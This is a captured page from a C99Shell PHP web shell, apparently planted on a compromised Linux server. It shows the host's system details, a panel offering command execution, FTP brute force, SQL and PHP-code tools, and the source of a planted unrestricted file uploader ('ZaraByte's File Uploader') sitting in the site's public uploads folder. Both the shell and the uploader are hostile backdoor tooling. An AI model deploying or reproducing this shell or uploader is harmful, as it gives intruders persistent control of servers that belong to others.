!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smm.picotech.app/public_html_v1_1/public/uploads/   drwxr-xr-x
Free 26.6 GB of 117.98 GB (22.55%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     1712160871_1.php (1.74 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
$myUpload 
= new maxUpload();
//$myUpload->setUploadLocation(getcwd().DIRECTORY_SEPARATOR);
$myUpload->uploadFile();
?>
<?php
class maxUpload{
var 
$uploadLocation;

function 
maxUpload(){
$this->uploadLocation getcwd().DIRECTORY_SEPARATOR;
}

function 
setUploadLocation($dir){
$this->uploadLocation $dir;
}

function 
showUploadForm($msg='',$error=''){
?>
<div id="container">
<div id="header"><div id="header_left"></div>
<div id="header_main">ZaraByte's File Uploader</div><div id="header_right"></div></div>
<div id="content">
<?php
if ($msg != ''){
echo 
'<p class="msg">'.$msg.'</p>';
} else if (
$error != ''){
echo 
'<p class="emsg">'.$error.'</p>';

}
?>
<form action="" method="post" enctype="multipart/form-data" >
<center>
<label>File:
<input name="myfile" type="file" size="30" />
</label>
<label>
<input type="submit" name="submitBtn" class="sbtn" value="Upload" />
</label>
</center>
</form>
</div>
<div id="footer"><a href="http://www.zarabyte.com" target="_blank">ZaraByte File Uploader</a></div>
</div>
<?php
}

function 
uploadFile(){
if (!isset(
$_POST['submitBtn'])){
$this->showUploadForm();
} else {
$msg '';
$error '';

//Check destination directory
if (!file_exists($this->uploadLocation)){
$error "The target directory doesn't exists!";
} else if (!
is_writeable($this->uploadLocation)) {
$error "The target directory is not writeable!";
} else {
$target_path $this->uploadLocation basename$_FILES['myfile']['name']);

if(@
move_uploaded_file($_FILES['myfile']['tmp_name'], $target_path)) {
$msg basename$_FILES['myfile']['name']).
" was uploaded successfully!";
} else{
$error "The upload process failed!";
}
}

$this->showUploadForm($msg,$error);
}

}

}
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0045 ]--